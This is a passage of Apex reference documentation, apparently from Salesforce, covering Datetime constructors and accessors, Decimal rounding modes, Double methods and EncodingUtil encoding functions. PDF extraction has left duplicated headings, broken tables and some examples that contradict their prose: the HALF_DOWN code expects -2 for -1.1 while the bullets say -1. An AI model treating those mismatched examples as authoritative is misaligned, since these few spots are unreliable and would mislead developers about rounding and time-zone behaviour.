DateTime dt = DateTime.newInstance(longtime);
DateTime expected = DateTime.newInstance(2012, 7, 9, 3, 3, 3);
System.assertEquals(expected, dt);
```

**newInstance(date, time)**

Constructs a DateTime from the specified date and time in the local time zone.
**Signature**

```java
public static Datetime newInstance(Date date, Time time)
```

**Parameters**

- `date`
  Type: `Date`

- `time`
  Type: `Time`

**Return Value**

Type: `Datetime`

The returned date is in the GMT time zone.

**Example**

```java
Date myDate = Date.newInstance(2011, 11, 18);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstance(myDate, myTime);
DateTime expected = DateTime.newInstance(2011, 11, 18, 3, 3, 3);
System.assertEquals(expected, dt);
```

### newInstance(year, month, day)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.

**Signature**

```java
public static Datetime newInstance(Integer year, Integer month, Integer day)
```

**Parameters**

- `year`
  Type: `Integer`

- `month`
  Type: `Integer`

- `day`
  Type: `Integer`

**Return Value**

Type: `Datetime`

The returned date is in the GMT time zone.

**Example**

```java
datetime myDate = datetime.newInstance(2008, 12, 1);
```
newInstance(year, month, day, hour, minute, second)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local time zone.

Signature

```
public static Datetime newInstance(Integer year, Integer month, Integer day, Integer hour, Integer minute, Integer second)
```

Parameters

- `year`  
  Type: Integer
- `month`  
  Type: Integer
- `day`  
  Type: Integer
- `hour`  
  Type: Integer
- `minute`  
  Type: Integer
- `second`  
  Type: Integer

Return Value

Type: Datetime

The returned date is in the GMT time zone.

Example

```
Datetime myDate = Datetime.newInstance(2008, 12, 1, 12, 30, 2);
```

newInstanceGmt(date, time)

Constructs a DateTime from the specified date and time in the GMT time zone.

Signature

```
public static Datetime newInstanceGmt(Date date, Time time)
```

Parameters

- `date`  
  Type: Date
- `time`  
  Type: Time
newInstanceGmt(year, month, date)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone

Signature
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date)

Parameters
year
Type: Integer

month
Type: Integer

date
Type: Integer

Return Value
Type: Datetime

Example
Date myDate = Date.newInstance(2013, 11, 12);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstanceGMT(myDate, myTime);
DateTime expected = DateTime.newInstanceGMT(2013, 11, 12, 3, 3, 3);
System.assertEquals(expected, dt);

newInstanceGmt(year, month, date, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT time zone

Signature
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date, Integer hour, Integer minute, Integer second)
Parameters

- **year**
  - Type: Integer
- **month**
  - Type: Integer
- **date**
  - Type: Integer
- **hour**
  - Type: Integer
- **minute**
  - Type: Integer
- **second**
  - Type: Integer

Return Value

Type: Datetime

Example

```java
//California local time
DateTime dt = DateTime.newInstanceGMT(1998, 1, 29, 2, 2, 3);
DateTime expected = DateTime.newInstance(1998, 1, 28, 18, 2, 3);
System.assertEquals(expected, dt);
```

```java
public static Datetime now()
```

Returns the current Datetime based on a GMT calendar.

```
datetime myDateTime = datetime.now();
```

**parse**

Constructs a Datetime from the given String in the local time zone and in the format of the user locale.
Signature

```java
public static Datetime parse(String datetimeString)
```

Parameters

`datetimeString`

Type: `String`

Return Value

Type: `Datetime`

The returned date is in the GMT time zone.

Example

This example uses `parse` to create a Datetime from a date passed in as a string and that is formatted for the English (United States) locale. You may need to change the format of the date string if you have a different locale.

```
Datetime dt = DateTime.parse('10/14/2011, 11:46 AM');
String myDtString = dt.format();
system.assertEquals(myDtString, '10/14/2011, 11:46 AM');
```

`second()`

Returns the second component of a Datetime in the local time zone of the context user.

Signature

```java
public Integer second()
```

Return Value

Type: `Integer`

Example

```
DateTime dt = DateTime.newInstanceGMT(1999, 9, 22, 3, 1, 2);
System.assertEquals(2, dt.second());
```

`secondGmt()`

Returns the second component of a Datetime in the GMT time zone.

Signature

```java
public Integer secondGmt()
```
Return Value
Type: Integer

Example
```java
DateTime dt = DateTime.newInstance(2000, 2, 3, 3, 1, 5);
System.assertEquals(5, dt.secondGMT());
```

time()

Returns the time component of a Datetime in the local time zone of the context user.

Signature
```
public Time time()
```

Return Value
Type: Time

Example
```java
DateTime dt = DateTime.newInstance(2002, 11, 21, 0, 2, 2);
Time expected = Time.newInstance(0, 2, 2, 0);
System.assertEquals(expected, dt.time());
```

timeGmt()

Returns the time component of a Datetime in the GMT time zone.

Signature
```
public Time timeGmt()
```

Return Value
Type: Time

Example
```java
// This sample is based on the PST time zone
DateTime dt = DateTime.newInstance(2004, 1, 27, 4, 1, 2);
Time expected = Time.newInstance(12, 1, 2, 0);
// 8 hours are added to the time to convert it from
// PST to GMT
System.assertEquals(expected, dt.timeGmt());
```

valueOf(dateTimeString)

Returns a Datetime that contains the value of the specified string.
Signature

```java
public static Datetime valueOf(String dateTimeString)
```

Parameters

- `dateTimeString`
  - Type: `String`

Return Value

- Type: `Datetime`
  - The returned date is in the GMT time zone.

Usage

The specified string should use the standard date format "yyyy-MM-dd HH:mm:ss" in the local time zone.

Example

```java
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':'
   + minute + ':' + second;

Datetime myDate = Datetime.valueOf(stringDate);
```

`valueOf(fieldValue)`

Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a Datetime value.

Signature

```java
public static Datetime valueOf(Object fieldValue)
```

Parameters

- `fieldValue`
  - Type: `Object`

Return Value

- Type: `Datetime`
Usage

Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a Date/Time field.

Example

```apex
List<AccountHistory> ahlist = [SELECT Field, OldValue, NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'MyDatetime__c') {
        Datetime oldValue = Datetime.valueOf(ah.OldValue);
        Datetime newValue = Datetime.valueOf(ah.NewValue);
    }
}
```

valueOfGmt(dateTimeString)

Returns a Datetime that contains the value of the specified String.

Signature

```apex
public static Datetime valueOfGmt(String dateTimeString)
```

Parameters

```
dateTimeString
    Type: String
```

Return Value

Type: Datetime

Usage

The specified string should use the standard date format "yyyy-MM-dd HH:mm:ss" in the GMT time zone.

Example

```apex
// California locale time
string year = '2009';
string month = '3';
string day = '5';
string hour = '5';
string minute = '2';
string second = '2';
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':' + minute + ':' + second;
Datetime myDate = Datetime.valueOfGmt(stringDate);
```
DateTime expected = DateTime.newInstance(2009, 3, 4, 21, 2, 2);
System.assertEquals(expected, myDate);

year()
Returns the year component of a Datetime in the local time zone of the context user.

Signature
public Integer year()

Return Value
Type: Integer

Example
DateTime dt = DateTime.newInstance(2012, 1, 26, 5, 2, 4);
System.assertEquals(2012, dt.year());

yearGmt()
Returns the year component of a Datetime in the GMT time zone.

Signature
public Integer yearGmt()

Return Value
Type: Integer

Example
DateTime dt = DateTime.newInstance(2012, 10, 4, 6, 4, 6);
System.assertEquals(2012, dt.yearGMT());

Decimal Class
Contains methods for the Decimal primitive data type.

Namespace
System

Usage
For more information on Decimal, see Primitive Data Types on page 26.
IN THIS SECTION:

Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.

Decimal Methods

Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.

Each rounding mode indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid values for roundingMode.

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CEILING</td>
<td>Rounds towards positive infinity. That is, if the result is positive, this mode behaves the same as the UP rounding mode; if the result is negative, it behaves the same as the DOWN rounding mode. Note that this rounding mode never decreases the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>• Input number 5.5: CEILING round mode result: 6</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.1: CEILING round mode result: 2</td>
</tr>
<tr>
<td></td>
<td>• Input number -1.1: CEILING round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>• Input number -2.7: CEILING round mode result: -2</td>
</tr>
<tr>
<td></td>
<td>```</td>
</tr>
<tr>
<td></td>
<td>Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};</td>
</tr>
<tr>
<td></td>
<td>Long[] expected = new Long[]{6, 2, -1, -2};</td>
</tr>
<tr>
<td></td>
<td>for(integer x = 0; x &lt; example.size(); x++){</td>
</tr>
<tr>
<td></td>
<td>System.assertEquals(expected[x],</td>
</tr>
<tr>
<td></td>
<td>example[x].round(System.RoundingMode.CEILING));</td>
</tr>
<tr>
<td></td>
<td>}</td>
</tr>
<tr>
<td>DOWN</td>
<td>Rounds towards zero. This rounding mode always discards any fractions (decimal points) prior to executing. Note that this rounding mode never increases the magnitude of the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>• Input number 5.5: DOWN round mode result: 5</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.1: DOWN round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>• Input number -1.1: DOWN round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>• Input number -2.7: DOWN round mode result: -2</td>
</tr>
<tr>
<td></td>
<td>```</td>
</tr>
<tr>
<td></td>
<td>Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};</td>
</tr>
<tr>
<td></td>
<td>Long[] expected = new Long[]{5, 1, -1, -2};</td>
</tr>
<tr>
<td></td>
<td>for(integer x = 0; x &lt; example.size(); x++){</td>
</tr>
<tr>
<td></td>
<td>System.assertEquals(expected[x],</td>
</tr>
<tr>
<td></td>
<td>example[x].round(System.RoundingMode.DOWN));</td>
</tr>
<tr>
<td></td>
<td>}</td>
</tr>
<tr>
<td>FLOOR</td>
<td>Rounds towards negative infinity. That is, if the result is positive, this mode behaves the same as the DOWN rounding mode; if negative, this mode behaves the same as the UP rounding mode. Note that this rounding mode never increases the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>• Input number 5.5: FLOOR round mode result: 5</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.1: FLOOR round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>• Input number -1.1: FLOOR round mode result: -2</td>
</tr>
<tr>
<td></td>
<td>• Input number -2.7: FLOOR round mode result: -3</td>
</tr>
<tr>
<td>Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};</td>
<td></td>
</tr>
<tr>
<td>Long[] expected = new Long[]{5, 1, -2, -3};</td>
<td></td>
</tr>
<tr>
<td>for (integer x = 0; x &lt; example.size(); x++){</td>
<td></td>
</tr>
<tr>
<td>System.assertEquals(expected[x], example[x].round(System.RoundingMode.FLOOR));</td>
<td></td>
</tr>
<tr>
<td>}</td>
<td></td>
</tr>
</tbody>
</table>

HALF_DOWN

Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case this mode rounds down. This rounding mode behaves the same as the UP rounding mode if the discarded fraction (decimal point) is > 0.5; otherwise, it behaves the same as the DOWN rounding mode. For example:

• Input number 5.5: HALF_DOWN round mode result: 5
• Input number 1.1: HALF_DOWN round mode result: 1
• Input number -1.1: HALF_DOWN round mode result: -1
• Input number -2.7: HALF_DOWN round mode result: -3

Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -2, -3};
for (integer x = 0; x < example.size(); x++){
    System.assertEquals(expected[x], example[x].round(System.RoundingMode.HALF_DOWN));
}

HALF_EVEN

Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. This rounding mode behaves the same as the HALF_UP rounding mode if the digit to the left of the discarded fraction (decimal point) is odd. It behaves the same as the HALF_DOWN rounding method if it is even. For example:

• Input number 5.5: HALF_EVEN round mode result: 6
• Input number 1.1: HALF_EVEN round mode result: 1
• Input number -1.1: HALF_EVEN round mode result: -1
• Input number -2.7: HALF_EVEN round mode result: -3

Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 1, -1, -3};
for (integer x = 0; x < example.size(); x++){
    System.assertEquals(expected[x], example[x].round(System.RoundingMode.HALF_EVEN));
}

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

HALF_UP

Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds up. This rounding method behaves the same as the UP rounding method if
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>the discarded fraction (decimal point) is &gt;= 0.5; otherwise, this rounding method behaves the same as the DOWN rounding method. For example:</td>
</tr>
<tr>
<td></td>
<td>• Input number 5.5: HALF_UP round mode result: 6</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.1: HALF_UP round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>• Input number -1.1: HALF_UP round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>• Input number -2.7: HALF_UP round mode result: -3</td>
</tr>
<tr>
<td></td>
<td>```java</td>
</tr>
<tr>
<td></td>
<td>Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};</td>
</tr>
<tr>
<td></td>
<td>Long[] expected = new Long[]{6, 1, -1, -3};</td>
</tr>
<tr>
<td></td>
<td>for(integer x = 0; x &lt; example.size(); x++){</td>
</tr>
<tr>
<td></td>
<td>System.assertEquals(expected[x], example[x].round(System.RoundingMode.HALF_UP));</td>
</tr>
<tr>
<td></td>
<td>}</td>
</tr>
<tr>
<td></td>
<td>Asserts that the requested operation has an exact result, which means that no rounding is necessary. If this rounding mode is specified on an operation that yields an inexact result, a MathException is thrown. For example:</td>
</tr>
<tr>
<td></td>
<td>• Input number 5.5: UNNECESSARY round mode result: MathException</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.1: UNNECESSARY round mode result: MathException</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.0: UNNECESSARY round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>• Input number -1.0: UNNECESSARY round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>• Input number -2.2: UNNECESSARY round mode result: MathException</td>
</tr>
<tr>
<td></td>
<td>```java</td>
</tr>
<tr>
<td></td>
<td>Decimal example1 = 5.5;</td>
</tr>
<tr>
<td></td>
<td>Decimal example2 = 1.0;</td>
</tr>
<tr>
<td></td>
<td>system.assertEquals(1, example2.round(System.RoundingMode.UNNECESSARY));</td>
</tr>
<tr>
<td></td>
<td>try{</td>
</tr>
<tr>
<td></td>
<td>example1.round(System.RoundingMode.UNNECESSARY);</td>
</tr>
<tr>
<td></td>
<td>} catch(Exception E) {</td>
</tr>
<tr>
<td></td>
<td>system.assertEquals('System.MathException', E.getTypeName());</td>
</tr>
<tr>
<td></td>
<td>}</td>
</tr>
<tr>
<td></td>
<td>Rounds away from zero. This rounding mode always truncates any fractions (decimal points) prior to executing. Note that this rounding mode never decreases the magnitude of the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>• Input number 5.5: UP round mode result: 6</td>
</tr>
<tr>
<td></td>
<td>• Input number 1.1: UP round mode result: 2</td>
</tr>
<tr>
<td></td>
<td>• Input number -1.1: UP round mode result: -2</td>
</tr>
<tr>
<td></td>
<td>• Input number -2.7: UP round mode result: -3</td>
</tr>
<tr>
<td></td>
<td>```java</td>
</tr>
<tr>
<td></td>
<td>Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};</td>
</tr>
<tr>
<td></td>
<td>Long[] expected = new Long[]{6, 2, -2, -3};</td>
</tr>
<tr>
<td></td>
<td>for(integer x = 0; x &lt; example.size(); x++){</td>
</tr>
<tr>
<td></td>
<td>System.assertEquals(expected[x], example[x].round(System.RoundingMode.UP));</td>
</tr>
<tr>
<td></td>
<td>}</td>
</tr>
</tbody>
</table>
Decimal Methods
The following are methods for `Decimal`.

**IN THIS SECTION:**

- `abs()`: Returns the absolute value of the `Decimal`.
- `divide(divisor, scale)`: Divides this `Decimal` by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified scale.
- `divide(divisor, scale, roundingMode)`: Divides this `Decimal` by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified scale, and if necessary, rounds the value using the rounding mode.
- `doubleValue()`: Returns the `Double` value of this `Decimal`.
- `format()`: Returns the `String` value of this `Decimal` using the locale of the context user.
- `intValue()`: Returns the `Integer` value of this `Decimal`.
- `longValue()`: Returns the `Long` value of this `Decimal`.
- `pow(exponent)`: Returns the value of this decimal raised to the power of the specified exponent.
- `precision()`: Returns the total number of digits for the `Decimal`.
- `round()`: Returns the rounded approximation of this `Decimal`. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.
- `round(roundingMode)`: Returns the rounded approximation of this `Decimal`. The number is rounded to zero decimal places using the rounding mode specified by the rounding mode.
- `scale()`: Returns the scale of the `Decimal`, that is, the number of decimal places.
- `setScale(scale)`: Returns the `Decimal` scaled to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding mode rounds toward the “nearest neighbor.” If both neighbors are equidistant, the number is rounded toward the even neighbor.
setScale(scale, roundingMode)
Returns the Decimal scaled to the specified number of decimal places, using the specified rounding mode, if necessary.

stripTrailingZeros()
Returns the Decimal with any trailing zeros removed.
toPlainString()
Returns the String value of this Decimal, without using scientific notation.

valueOf(doubleToDecimal)
Returns a Decimal that contains the value of the specified Double.

valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.

valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.

abs()
Returns the absolute value of the Decimal.

Signature
public Decimal abs()

Return Value
Type: Decimal

Example
Decimal myDecimal = -6.02214129;
System.assertEquals(6.02214129, myDecimal.abs());

divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified scale.

Signature
public Decimal divide(Decimal divisor, Integer scale)

Parameters
divisor
 Type: Decimal

scale
 Type: Integer
Return Value
Type: Decimal

Example
```
Decimal decimalNumber = 19;
Decimal result = decimalNumber.divide(100, 3);
System.assertEquals(0.190, result);
```

divide(divisor, scale, roundingMode)
Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified scale, and if necessary, rounds the value using the rounding mode.

Signature
```
public Decimal divide(Decimal divisor, Integer scale, System.RoundingMode roundingMode)
```

Parameters
divisor
Type: Decimal
scale
Type: Integer
roundingMode
Type: System.RoundingMode

Return Value
Type: Decimal

Example
```
Decimal myDecimal = 12.4567;
Decimal divDec = myDecimal.divide(7, 2, System.RoundingMode.UP);
System.assertEquals(divDec, 1.78);
```

doubleValue()
Returns the Double value of this Decimal.

Signature
```
public Double doubleValue()
```

Return Value
Type: Double
Example

```
Decimal myDecimal = 6.62606957;
Double value = myDecimal.doubleValue();
System.assertEquals(6.62606957, value);
```

**format()**

Returns the String value of this Decimal using the locale of the context user.

**Signature**

```
public String format()
```

**Return Value**

Type: String

**Usage**

Scientific notation will be used if an exponent is needed.

Example

```
// U.S. locale
Decimal myDecimal = 12345.6789;
System.assertEquals('12,345.679', myDecimal.format());
```

**intValue()**

Returns the Integer value of this Decimal.

**Signature**

```
public Integer intValue()
```

**Return Value**

Type: Integer

**Example**

```
Decimal myDecimal = 1.602176565;
System.assertEquals(1, myDecimal.intValue());
```

**longValue()**

Returns the Long value of this Decimal.

**Signature**

```
public Long longValue()
```

**Return Value**

Type: Long

**Example**

```
Decimal myDecimal = 1.602176565;
System.assertEquals(1, myDecimal.longValue());
```
### `longValue()`

**Return Value**

Type: `Long`

**Example**

```java
Decimal myDecimal = 376.730313461;
System.assertEquals(376, myDecimal.longValue());
```

### `pow(exponent)`

Returns the value of this decimal raised to the power of the specified exponent.

**Signature**

```java
public Decimal pow(Integer exponent)
```

**Parameters**

- `exponent`
  
  Type: `Integer`

  The value of `exponent` must be between 0 and 32,767.

**Return Value**

Type: `Decimal`

**Usage**

If you use `MyDecimal.pow(0)`, 1 is returned.

The `Math.pow` method does accept negative values.

**Example**

```java
Decimal myDecimal = 4.12;
Decimal powDec = myDecimal.pow(2);
System.assertEquals(powDec, 16.9744);
```

### `precision()`

Returns the total number of digits for the Decimal.

**Signature**

```java
public Integer precision()
```
Return Value
Type: Integer

Example
For example, if the Decimal value was 123.45, precision returns 5. If the Decimal value is 123.123, precision returns 6.

```java
Decimal D1 = 123.45;
Integer precision1 = D1.precision();
System.assertEquals(precision1, 5);
Decimal D2 = 123.123;
Integer precision2 = D2.precision();
System.assertEquals(precision2, 6);
```

**round()**

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

Signature

```java
public Long round()
```

Return Value
Type: Long

Usage

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

Example

```java
Decimal D = 4.5;
Long L = D.round();
System.assertEquals(4, L);

Decimal D1 = 5.5;
Long L1 = D1.round();
System.assertEquals(6, L1);

Decimal D2 = 5.2;
Long L2 = D2.round();
System.assertEquals(5, L2);

Decimal D3 = -5.7;
Long L3 = D3.round();
System.assertEquals(-6, L3);
```
**round(roundingMode)**

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified by the rounding mode.

Signature

```
public Long round(System.RoundingMode roundingMode)
```

Parameters

- **roundingMode**
  - Type: `System.RoundingMode`

Return Value

Type: `Long`

**scale()**

Returns the scale of the Decimal, that is, the number of decimal places.

Signature

```
public Integer scale()
```

Return Value

Type: `Integer`

Example

```java
Decimal myDecimal = 9.27400968;
system.assertEquals(8, myDecimal.scale());
```

**setScale(scale)**

Returns the Decimal scaled to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding mode rounds toward the “nearest neighbor.” If both neighbors are equidistant, the number is rounded toward the even neighbor.

Signature

```
public Decimal setScale(Integer scale)
```

Parameters

- **scale**
  - Type: `Integer`
The value of scale must be between –33 and 33. If the value of scale is negative, your unscaled value is multiplied by 10 to
the power of the negation of scale. For example, after this operation, the value of \( d \) is \( 4 \times 10^{-3} \).

```java
Decimal d = 4000;
d = d.setScale(-3);
```

Return Value
Type: Decimal

Usage
If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.

- If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
- If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
- If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number
  of characters after the decimal point.

Example
```java
Decimal myDecimal = 8.987551787;
Decimal setScaled = myDecimal.setScale(3);
System.assertEquals(8.988, setScaled);
```

setScale(scale, roundingMode)
Returns the Decimal scaled to the specified number of decimal places, using the specified rounding mode, if necessary.

Signature
```java
public Decimal setScale(Integer scale, System.RoundingMode roundingMode)
```

Parameters
scale
Type: Integer
The value of scale must be between –33 and 33. If the value of scale is negative, your unscaled value is multiplied by 10 to
the power of the negation of scale. For example, after this operation, the value of \( d \) is \( 4 \times 10^{-3} \).

```java
Decimal d = 4000;
d = d.setScale(-3);
```

roundingMode
Type: System.RoundingMode

Return Value
Type: Decimal
Usage

If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.

- If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
- If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
- If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number of characters after the decimal point.

**stripTrailingZeros()**

Returns the Decimal with any trailing zeros removed.

**Signature**

```java
public Decimal stripTrailingZeros()
```

**Return Value**

Type: `Decimal`

**Example**

```java
Decimal myDecimal = 1.10000;
Decimal stripped = myDecimal.stripTrailingZeros();
System.assertEquals(stripped, 1.1);
```

**toPlainString()**

Returns the String value of this Decimal, without using scientific notation.

**Signature**

```java
public String toPlainString()
```

**Return Value**

Type: `String`

**Example**

```java
Decimal myDecimal = 12345.6789;
System.assertEquals('12345.6789', myDecimal.toPlainString());
```

**valueOf(doubleToDecimal)**

Returns a Decimal that contains the value of the specified Double.

**Signature**

```java
public static Decimal valueOf(Double doubleToDecimal)
```
Parameters

doubleToDecimal
Type: Double

Return Value
Type: Decimal

Example

```java
Double myDouble = 2.718281828459045;
Decimal myDecimal = Decimal.valueOf(myDouble);
System.assertEquals(2.718281828459045, myDecimal);
```

valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.

Signature

```java
public static Decimal valueOf(Long longToDecimal)
```

Parameters

longToDecimal
Type: Long

Return Value
Type: Decimal

Example

```java
Long myLong = 299792458;
Decimal myDecimal = Decimal.valueOf(myLong);
System.assertEquals(299792458, myDecimal);
```

valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.

Signature

```java
public static Decimal valueOf(String stringToDecimal)
```

Parameters

stringToDecimal
Type: String
Return Value
Type: Decimal

Example
```java
String temp = '12.4567';
Decimal myDecimal = Decimal.valueOf(temp);
```

Double Class
Contains methods for the Double primitive data type.

Namespace
System

Usage
For more information on Double, see Primitive Data Types on page 26.

Double Methods
The following are methods for Double.

IN THIS SECTION:
- `format()`: Returns the String value for this Double using the locale of the context user
- `intValue()`: Returns the Integer value of this Double by casting it to an Integer.
- `longValue()`: Returns the Long value of this Double.
- `round()`: Returns the closest Long to this Double value.
- `valueOf(stringToDouble)`: Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.
- `valueOf(fieldValue)`: Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents a Double value.

**format()**
Returns the String value for this Double using the locale of the context user

Signature
```java
public String format()
```
Return Value
Type: String

Example
```java
Double myDouble = 1261992;
system.assertEquals('1,261,992', myDouble.format());
```

intValue()
Returns the Integer value of this Double by casting it to an Integer.

Signature
```
public Integer intValue()
```

Return Value
Type: Integer

Example
```java
Double DD1 = double.valueOf('3.14159');
Integer value = DD1.intValue();
system.assertEquals(value, 3);
```

longValue()
Returns the Long value of this Double.

Signature
```
public Long longValue()
```

Return Value
Type: Long

Example
```java
Double myDouble = 421994;
Long value = myDouble.longValue();
system.assertEquals(421994, value);
```

round()
Returns the closest Long to this Double value.
Signature

```
public Long round()
```

Return Value

Type: `Long`

Example

```java
Double D1 = 4.5;
Long L1 = D1.round();
System.assertEquals(5, L1);

Double D2 = 4.2;
Long L2 = D2.round();
System.assertEquals(4, L2);

Double D3 = -4.7;
Long L3 = D3.round();
System.assertEquals(-5, L3);
```

**valueOf(stringToDouble)**

Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.

Signature

```
public static Double valueOf(String stringToDouble)
```

Parameters

`stringToDouble`

Type: `String`

Return Value

Type: `Double`

Example

```java
Double DD1 = Double.valueOf('3.14159');
```

**valueOf(fieldValue)**

Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents a Double value.

Signature

```
public static Double valueOf(Object fieldValue)
```
Parameters

`fieldValue`
Type: Object

Return Value
Type: Double

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type corresponds to a Double type, like a number field.

Example

```java
List<AccountHistory> ahlist =
    [SELECT Field, OldValue, NewValue
     FROM AccountHistory];
for (AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'NumberOfEmployees') {
        Double oldValue =
            Double.valueOf(ah.OldValue);
        Double newValue =
            Double.valueOf(ah.NewValue);
    }
}
```

EncodingUtil Class

Use the methods in the `EncodingUtil` class to encode and decode URL strings, and convert strings to hexadecimal format.

Namespace
System

Usage

⚠️ **Note:** You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce. You can, however, download a document from Salesforce. To do so, query the ID of the document using the API `query` call, then request it by ID.

EncodingUtil Methods

The following are methods for `EncodingUtil`. All methods are static.

IN THIS SECTION:

`base64Decode(inputString)`
Converts a Base64-encoded String to a Blob representing its normal form.
base64Decode(inputString)
Converting a Base64-encoded String to a Blob representing its normal form.

**Signature**

```java
public static Blob base64Decode(String inputString)
```

**Parameters**

- **inputString**
  - Type: String

**Return Value**

- Type: Blob

base64Encode(inputBlob)
Converts a Blob to an unencoded String representing its normal form.

**Signature**

```java
public static String base64Encode(Blob inputBlob)
```

**Parameters**

- **inputBlob**
  - Type: Blob

**Return Value**

- Type: String

urlDecode(inputString, encodingScheme)
Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example "UTF-8."

**Signature**

```java
public static String urlDecode(String inputString, String encodingScheme)
```

**Parameters**

- **inputString**
  - Type: String
- **encodingScheme**
  - Type: String

**Return Value**

- Type: String

urlEncode(inputString, encodingScheme)
Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example "UTF-8."

**Signature**

```java
public static String urlEncode(String inputString, String encodingScheme)
```

**Parameters**

- **inputString**
  - Type: String
- **encodingScheme**
  - Type: String

**Return Value**

- Type: String
**convertFromHex(inputString)**
Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.

**Signature**
```
public static Blob convertFromHex(String inputString)
```

**Parameters**

*inputString*
Type: *String*
The hexadecimal string to convert. The string can contain only valid hexadecimal characters (0-9, a-f, A-F) and must have an even number of characters.

**Return Value**
Type: *Blob*

**Usage**
Each byte in the Blob is constructed from two hexadecimal characters in the input string.

The `convertFromHex` method throws the following exceptions.

- `NullPointerException` — the `inputString` is `null`.
